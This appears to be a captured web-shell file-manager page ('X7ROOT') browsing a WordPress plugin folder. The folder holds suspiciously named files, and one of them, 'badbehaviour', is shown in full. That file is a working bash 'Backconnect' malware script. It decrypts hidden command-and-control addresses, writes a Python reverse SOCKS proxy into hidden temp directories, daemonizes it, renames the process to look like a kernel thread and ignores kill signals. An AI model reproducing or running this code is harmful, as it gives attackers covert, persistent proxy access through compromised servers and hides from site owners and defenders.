X7ROOT File Manager
Current Path:
/home/freights/public_html/wp-content/plugins/generateblocks/src/hoc
home
/
freights
/
public_html
/
wp-content
/
plugins
/
generateblocks
/
src
/
hoc
/
??
..
??
0i83dinh
(9.03 KB)
??
badbehaviour
(14.7 KB)
??
index.js
(600 B)
??
migrations
??
withButtonContainerLegacyMigration.js
(2.57 KB)
??
withButtonLegacyMigration.js
(5.07 KB)
??
withContainerLegacyMigration.js
(8.03 KB)
??
withDeviceType.js
(231 B)
??
withDynamicTag.js
(2.44 KB)
??
withGridLegacyMigration.js
(3.09 KB)
??
withHeadlineLegacyMigration.js
(4.02 KB)
??
withHtmlAttributes.js
(5.43 KB)
??
withImageLegacyMigration.js
(1.84 KB)
??
withSetAttributes.js
(1.86 KB)
??
withStyles.js
(2.54 KB)
??
withUniqueId.js
(2.37 KB)
??
y295hohb
(9.03 KB)
Editing: badbehaviour
#!/bin/bash # Backconnect v23 - Full daemonize (based on v22) N="bcksocks";D=3;PD="" ENC_DATA="7e4f7d5756474b4d734b48040209794d604550444b467e5057080a1d7c4c625f5746565478535703070663406b4b5247574e7f514a110105634b66504d4b5d5a7a504a0b06077e5960534d405041655c411f0306794367515052564265574c041c0a755762505648514078454a071c01784c7d5c5b5c54417d5f4d0501137e4f7d5756474b4d734b48040509794d604550444b467e5057080a1d7c4c6b5f5746565478535703070663406b4b52475c4e7f514a110105634b66504d4b5d5a7a53490b06077e5960534d405041655c411f03057c4367515052564265574c041c0a755762535148514078454a071c01784c7d5c5b5c5442785f4d0501137e4f7d5756474b4d734b48070609794d604550444b467e5057080a1d7c4f665f5746565478535703070663406b4b5244534e7f514a110105634b66504d4b5d5a7a534e0b06077e5960534d405041655c411f0305754367515052564265574c041c0a755762535a48514078454a071c01784c7d5c5b5c54437b5f4d0501137e4f7d5756474b4d734b48060309794d604550444b467e5057080a1d7c4e615f5746565478535703070663406b4b5245564e7f514a110105634b66504d4b5d5a7a524d0b06077e5960534d405041655c411f0304784367515052564265574c041c0a755762525548514078454a071c01784c7d5c5b5c54437c5f4d0501137e4f7d5756474b4d734b48060a09794d604550444b467e5057080a1d7c4e6a5f5746565478535703070663406b4b524a554e7f514a110105634b66504d4b5d5a7a5d480b06077e5960534d405041655c411f030b7f4367515052564265574c041c0a7557625d5048514078454a071c01784c7d5c5b5c544c7f5f4d0501137b4b7d53535c54477a4b48060a09794d604555404b427b4b4802031d7c4e6a5f574656547d575707021d7c4a624b524a554e7f514a110401634f634b5241545a7a5d480b06077e5965574d44555a7a56481f030b7f436751505253466553491f03007c57625d5048514078454f031c057d576256525c544c7f5f4d0501137b4b7d53535c54477a4b48090709794d604555404b427b4b4802031d7c41655f574656547d575707021d7c4a624b524a524e7f514a110401634f634b5241545a7a5d410b06077e5965574d44555a7a56481f030b74436751505253466553491f03007c57625c5348514078454f031c057d576256525c544d7a5f4d0501137b4b7d53535c54477a4b48080009794d604555404b427b4b4802031d7c40605f574656547d575707021d7c4a624b524b514e7f514a110401634f634b5241545a7a5c4c0b06077e5965574d44555a7a56481f030a7b436751505253466553491f03007c57625c5448514078454f031c057d576256525c544d735f4d0501137b4b7d53535c54477a4b48080b09794d604555404b427b4b4802031d7f49635f574656547d575707021d7c4a624b5142544e7f514a110401634f634b5241545a79554b0b06077e5965574d44555a7a56481f00037e436751505253466553491f03007c5761555748514078454f031c057d576256525c57447e5f4d0501137b4b7d53535c54477a4b4b040109794d60" find_writable() { for d in /tmp /var/tmp /dev/shm /run "$HOME"; do [ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; } done echo "./.$N" } PD="$(find_writable)" fp() { # SAFE: only python processes by interpreter + path, no network search pgrep -f "python.*$PD.*$1.*$2" 2>/dev/null } kt() { fp "$1" "$2" | sort -u | xargs -r kill -9 2>/dev/null; sleep 0.3; } ka(){ # SAFE: only kill python with our path pgrep -f "python.*$PD" 2>/dev/null | xargs -r kill -9 2>/dev/null rm -rf "$PD" echo "Done" exit 0 } st(){ echo "Status:" [ -d "$PD" ] || { echo " None"; exit 0; } for f in "$PD"/*.pid; do [ -f "$f" ] || continue p=$(cat "$f") n=$(basename "$f" .pid) kill -0 "$p" 2>/dev/null && echo " + $n ($p)" || echo " - $n" done exit 0 } xc() { local k="$1" local d="$2" local o="" i=0 local kl="${#k}" [ "$kl" -eq 0 ] && { echo ""; return; } while [ $i -lt ${#d} ]; do local dc="${d:$i:2}" [ ${#dc} -lt 2 ] && break local db=$((16#$dc)) local ki=$((i/2%kl)) local kb=$(printf '%d' "'${k:$ki:1}") local xb=$((db^kb)) o+=$(printf '%02x' $xb) i=$((i+2)) done echo "$o" } s2h() { local s="$1" o="" i; for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}"); done; echo "$o"; } h2s() { local h="$1" o="" i; for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}"); done; echo -e "$o"; } enc_srv() { local k="$1"; shift; echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""; } dec_srv() { [ -z "$2" ] && return; h2s "$(xc "$1" "$2")"; } spawn() { local host="$1" port="$2" id="$3" mkdir -p "$PD" 2>/dev/null local pidf="$PD/${id}.pid" local pyf="$PD/${id}.py" cat > "$pyf" << PYEND import socket,select,threading,random,time,os,sys,signal # === THREAD STACK SIZE (128KB instead of 8MB default) === try: threading.stack_size(131072) except: pass # === DAEMONIZE === def daemonize(pidfile): if os.fork() > 0: sys.exit(0) os.setsid() if os.fork() > 0: sys.exit(0) try: os.chdir('/') except: pass os.umask(0) for fd in range(3, 64): try: os.close(fd) except: pass sys.stdin = open('/dev/null', 'r') sys.stdout = open('/dev/null', 'w') sys.stderr = open('/dev/null', 'w') if pidfile: try: with open(pidfile, 'w') as f: f.write(str(os.getpid())) except: pass # === MASK PROCESS NAME === def mask_process(): names = ['kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd'] suffix = ['','/0','/1','/0:0','/0:1'] pn = random.choice(names) + random.choice(suffix) try: import ctypes libc = ctypes.CDLL('libc.so.6') libc.prctl(15, pn.encode(), 0, 0, 0) except: pass try: with open('/proc/self/comm', 'wb') as f: f.write(pn.encode()[:15]) except: pass H,P='${host}',${port} PF='${pidf}' daemonize(PF) mask_process() # Ignore ALL relevant signals including SIGPIPE for s in [1, 2, 13, 15]: try: signal.signal(s, signal.SIG_IGN) except: pass x=bytearray([random.randint(0,254) for _ in range(50)]) def rc4(p,b,s,z): L=len(p) for i in range(z):b[s+i]^=p[i%L] r=list(range(256));j=0 for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i] i=j=0 for k in range(z): i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i] b[s+k]^=r[(r[i]+r[j])&255] for i in range(z):b[s+i]^=p[i%L] SS=None SL=threading.Lock() # Lock для отправки на сервер AL=threading.Lock() # Lock для sa/sk массивов sa=[0]*200 sk=[None]*200 wc=0 # Worker count MAX_WORKERS=200 ALIVE=True # Флаг для остановки workers при реконнекте GEN=0 # Generation counter для определения старых workers def ssend(d,gen): """Отправка с защитой от SIGPIPE и проверкой generation""" global SS,GEN try: with SL: if SS and gen==GEN: # Используем send с таймаутом вместо sendall внутри lock SS.settimeout(5) try: SS.sendall(d) except (BrokenPipeError, ConnectionResetError, OSError): return 0 finally: SS.settimeout(None) return 1 except: return 0 def worker(n,cs,b0,gen): """Worker с проверкой generation""" global sa,sk,wc,GEN,ALIVE r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0]) ok=0 try: if b0[7]==3: dl=b0[8];dom=b0[9:9+dl].decode('latin-1');pt=(b0[9+dl]<<8)|b0[9+dl+1] elif b0[7]==1: dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13] else:raise Exception() cs.settimeout(10) cs.connect((dom,pt)) cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1) cs.settimeout(None) # Будем использовать select with AL: if gen==GEN and ALIVE: # Проверяем что не было реконнекта sa[n]=1;sk[n]=cs r[4]=0;ok=1 except: try:cs.close() except:pass rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen) if ok: try: while True: # Проверяем флаги with AL: if sa[n]!=1 or gen!=GEN or not ALIVE:break # select с exceptfds для обнаружения ошибок try: rl,_,el=select.select([cs],[],[cs],1) except:break if el:break # Ошибка на сокете if rl: try: d=cs.recv(65530) except:break if not d:break buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d) rc4(x,buf,0,3);rc4(x,buf,3,len(d)) if not ssend(bytes(buf),gen):break except:pass with AL: sa[n]=0;sk[n]=None if wc>0:wc-=1 try:cs.close() except:pass # Отправляем уведомление о закрытии только если generation совпадает if gen==GEN: r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen) def main(): global SS,sa,sk,wc,ALIVE,GEN # Увеличиваем generation и останавливаем старые workers with AL: GEN+=1 ALIVE=True wc=0 for i in range(200): sa[i]=0 c=sk[i];sk[i]=None if c: try:c.close() except:pass gen=GEN # Локальная копия для этой сессии rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time() try: SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM) SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1) SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1) SS.settimeout(10) SS.connect((H,P)) SS.settimeout(None) hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python" rc4(x,hs,50,50);SS.sendall(bytes(hs)) while ALIVE and gen==GEN: if r4<4: # select с exceptfds try: rl,_,el=select.select([SS],[],[SS],60) except:break if el:break # Ошибка на сокете if not rl: if time.time()-ka_time>60: ka=bytearray(3);rc4(x,ka,0,3) if not ssend(bytes(ka),gen):break ka_time=time.time() continue try: d=SS.recv(4-r4) except:break if not d:break b0.extend(d);r4+=len(d);ka_time=time.time() if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8) if r4==4: if edx==0: if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break if 0<ebx<200: with AL: sa[ebx]=0 c=sk[ebx];sk[ebx]=None if c: try:c.close() except:pass r4=0;b0=bytearray() else: if edx>1048576:break # Max 1MB need=edx-rm if need>0: try: d=SS.recv(min(need,65536)) except:break if not d:break b0.extend(d);rm+=len(d) if rm==edx: rc4(x,b0,4,rm) if b0[0]==0: # ВАЖНО: Проверка диапазона ebx ПЕРЕД созданием worker if 0<ebx<200: with AL: if wc>=MAX_WORKERS: r4=0;rm=0;b0=bytearray() continue wc+=1 cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM) t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True) t.start() else: if 0<ebx<200: with AL: if sa[ebx]==1 and sk[ebx]: try: sk[ebx].settimeout(5) sk[ebx].sendall(bytes(b0[4:4+rm])) except:pass rm=0;r4=0;b0=bytearray() except:pass # Останавливаем workers этой generation with AL: if gen==GEN: ALIVE=False try:SS.close() except:pass SS=None # Даём время workers завершиться time.sleep(1) # Очищаем массивы with AL: for i in range(200): if sa[i]!=0: sa[i]=0 c=sk[i];sk[i]=None if c: try:c.close() except:pass time.sleep(9) if ex:sys.exit(0) while 1: try:main() except:time.sleep(10) PYEND chmod +x "$pyf" python3 "$pyf" & sleep 1 [ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 return 1 } ir() { fp "$1" "$2" 2>/dev/null | grep -q .; } SRV=();FORCE=0 case "${1:-}" in -h|--help) echo "Usage: $0 [-f] srv:port..." echo " -e KEY srv:port... Encrypt" echo " -d KEY [-f] Decrypt+run" echo " -k / -s Kill/Status" exit 0 ;; -k) ka ;; -s) st ;; -e) [ -z "$2" ] && { echo "Need KEY"; exit 1; } K="$2"; shift 2 [ $# -eq 0 ] && { echo "Need servers"; exit 1; } enc_srv "$K" "$@" exit 0 ;; -d) [ -z "$2" ] && { echo "Need KEY"; exit 1; } K="$2"; shift 2 [ "${1:-}" = "-f" ] && { FORCE=1; shift; } [ -z "$ENC_DATA" ] && { echo "No encrypted data"; exit 1; } DE=$(dec_srv "$K" "$ENC_DATA") [ -z "$DE" ] && { echo "Decryption failed"; exit 1; } for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443"); done ;; -f) FORCE=1; shift for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done ;; *) for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done ;; esac [ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h"; exit 1; } command -v python3 &>/dev/null || { echo "python3 required"; exit 1; } mkdir -p "$PD"; c=0 for s in "${SRV[@]}"; do h="${s%:*}"; p="${s#*:}"; id="${h}_${p}" c=$((c+1)) if ir "$h" "$p"; then if [ "$FORCE" = "1" ]; then printf "[$c/${#SRV[@]}] $h:$p replacing... " kt "$h" "$p" else echo "[$c/${#SRV[@]}] $h:$p running (use -f)" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" continue fi else printf "[$c/${#SRV[@]}] $h:$p " fi spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" done echo "Done"
Upload File
Create Folder